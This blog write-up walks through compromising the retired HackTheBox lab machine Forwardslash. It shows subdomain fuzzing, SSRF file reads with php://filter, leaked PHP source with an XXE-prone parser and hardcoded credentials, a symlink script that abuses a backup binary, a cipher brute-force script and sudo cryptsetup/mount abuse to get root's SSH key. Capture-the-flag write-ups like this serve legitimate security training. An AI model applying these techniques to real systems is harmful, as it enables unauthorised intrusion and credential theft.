HackTheBox - Forwardslash

Summary

Forwardslash,a Linux box created by HackTheBox user InfoSecJack and chivato, was an overall hard difficulty box.The Initial foothold was finding the SSRF on porfilepicture.php in backup.forwardslash.htb and that expose the creds for chiv. SSH that and enumerating we find backup binary looking in that we find how it work abusing it we get config.php.bak which contain the creds for pain and we have user. In pain home directory we can see an encryption folder which contain ciphertext and a python script upon bruteforcing the weakness we get a creds for /var/backups/recovery checking sudo -l we see we can mount that image using cryptsetup and mount we find the root rsa key using which we can get root

Enumeration

nmap only shows 22 and 80 open

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Nmap 7.80 scan initiated Sun Apr  5 00:31:36 2020 as: nmap -sC -sC -oN nmap/forwardslah 10.10.10.183
Nmap scan report for 10.10.10.183
Host is up (0.16s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 2048 3c:3b:eb:54:96:81:1d:da:d7:96:c7:0f:b4:7e:e1:cf (RSA)
| 256 f6:b3:5f:a2:59:e3:1e:57:35:36:c3:fe:5e:3d:1f:66 (ECDSA)
|_ 256 1b:de:b8:07:35:e8:18:2c:19:d8:cc:dd:77:9c:f2:5e (ED25519)
80/tcp open http
|_http-title: Did not follow redirect to http://forwardslash.htb

# Nmap done at Sun Apr 5 00:31:43 2020 -- 1 IP address (1 host up) scanned in 7.98 seconds

and when opening http://10.10.10.183 it redirect me to http://forwardslash.htb

running gobuster don’t show anything

so we run wfuzz to enumerate for subdomains

1
wfuzz  --hh 0 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt  -H 'Host: FUZZ.forwardslash.htb' -u http://10.10.10.183/

which expose a new domain to us as http://backup.forwardslash.htb

Registering and login we are redirected to welcome.php

Checking Change your profile picture page

an profile pic changer file which take an url and is disabled because of previous hacking attempt. So I enabled it and tried to read a file from my machine and see i can read that later i tried to read /etc/passwd with file:///etc/passwd and we see we can read that then trying here and there i saw that i can read a file on the backup.forwardslash.htb/config.php file:///var/www/backup.forwardslash.htb/config.php but can’t read other files so i tried using php filter and we can read another files too

running gobuster again we see api.php which shows that if the file has session_start() in that we cannot read that file without phpfilter.

In gobuster we also find that there is a /dev directory so i try to read /dev/index.php

which contain a ftp credentials for chiv as N0bodyL1kesBack/ but we don’t see ftp open so we try to ssh on the box with that credentials and bingo we can ssh to the box as chiv

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
//include_once ../session.php;
// Initialize the session
session_start();

if((!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true || $_SESSION['username'] !== "admin") && $_SERVER['REMOTE_ADDR'] !== "127.0.0.1"){
header('HTTP/1.0 403 Forbidden');
echo "<h1>403 Access Denied</h1>";
echo "<h3>Access Denied From ", $_SERVER['REMOTE_ADDR'], "</h3>";
//echo "<h2>Redirecting to login in 3 seconds</h2>"
//echo '<meta http-equiv="refresh" content="3;url=../login.php" />';
//header("location: ../login.php");
exit;
}
?>
<html>
<h1>XML Api Test</h1>
<h3>This is our api test for when our new website gets refurbished</h3>
<form action="/dev/index.php" method="get" id="xmltest">
<textarea name="xml" form="xmltest" rows="20" cols="50"><api>
<request>test</request>
</api>
</textarea>
<input type="submit">
</form>

</html>

<!-- TODO:
Fix FTP Login
-->

<?php
if ($_SERVER['REQUEST_METHOD'] === "GET" && isset($_GET['xml'])) {

$reg = '/ftp:\/\/[\s\S]*\/\"/';
//$reg = '/((((25[0-5])|(2[0-4]\d)|([01]?\d?\d)))\.){3}((((25[0-5])|(2[0-4]\d)|([01]?\d?\d))))/'

if (preg_match($reg, $_GET['xml'], $match)) {
$ip = explode('/', $match[0])[2];
echo $ip;
error_log("Connecting");

$conn_id = ftp_connect($ip) or die("Couldn't connect to $ip\n");

error_log("Logging in");

if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {

error_log("Getting file");
echo ftp_get_string($conn_id, "debug.txt");
}

exit;
}

libxml_disable_entity_loader (false);
$xmlfile = $_GET["xml"];
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$api = simplexml_import_dom($dom);
$req = $api->request;
echo "-----output-----<br>\r\n";
echo "$req";
}

function ftp_get_string($ftp, $filename) {
$temp = fopen('php://temp', 'r+');
if (@ftp_fget($ftp, $temp, $filename, FTP_BINARY, 0)) {
rewind($temp);
return stream_get_contents($temp);
}
else {
return false;
}
}

?>

which expose the credentials as chiv:N0bodyL1kesBack/

User

Enumerating more we see an backup binary owned by user pain looking into that we see that it create a md5 hash of the current timestamp and if that is present it backup the current directory so we link /var/backup/config.php.bak. So I wrote a script to do that for me try backup and get the md5sum of that timestamp and get that link and try backup again

1
2
3
i=$(backup | grep ERROR | awk '{print $2}');
ln -s /var/backups/config.php.bak ./$i;
backup;

and we can read that file which give us a cred using that on su for pain we see it is his cred as db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704 and we can read user.txt

Privilege Escalation

we find a ciphertext file and a script to encrypt and decrypt it but we don’t see any decryption key. So I tried to understand the code and wrote a script to bruteforce keys and see if we have common words in the decrypted message if we have that is the key and we get the message

1
2
3
4
5
6
7
ciphertext = open('ciphertext', 'r').read().rstrip()
for i in range(1, 165): # key length assuming that key is not greater than the length of encrypted ciphertext
for j in range(33, 127): # from ! to ~ (including all A-Z,a-z and 0-9)
key = chr(j) * i
msg = decrypt(key, ciphertext)
if 'the ' in msg or 'be ' in msg or 'and ' in msg or 'of ' in msg :
exit("Key: {0}, Key length: {1}, Msg: {2}".format(key, len(key), msg))

Which crack the message and we get a password for a recovery file

1
/var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf

we also see this when we run sudo -l

1
2
3
4
User pain may run the following commands on forwardslash:
(root) NOPASSWD: /sbin/cryptsetup luksOpen *
(root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/
(root) NOPASSWD: /bin/umount ./mnt/

So using the known password now we can mount the image using

1
2
sudo /sbin/cryptsetup luksOpen /var/backups/recovery/encrypted_backup.img backup
sudo /bin/mount /dev/mapper/backup ./mnt/

and checking in that mount we get the rsa key for root so using that we can ssh to the box and get the root.txt and we have pwned this box

and we have pwned Forwardslash 💃

Author: Shubham Kumar
Link: https://f3v3r.in/htb/machines/retired/forwardslash/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.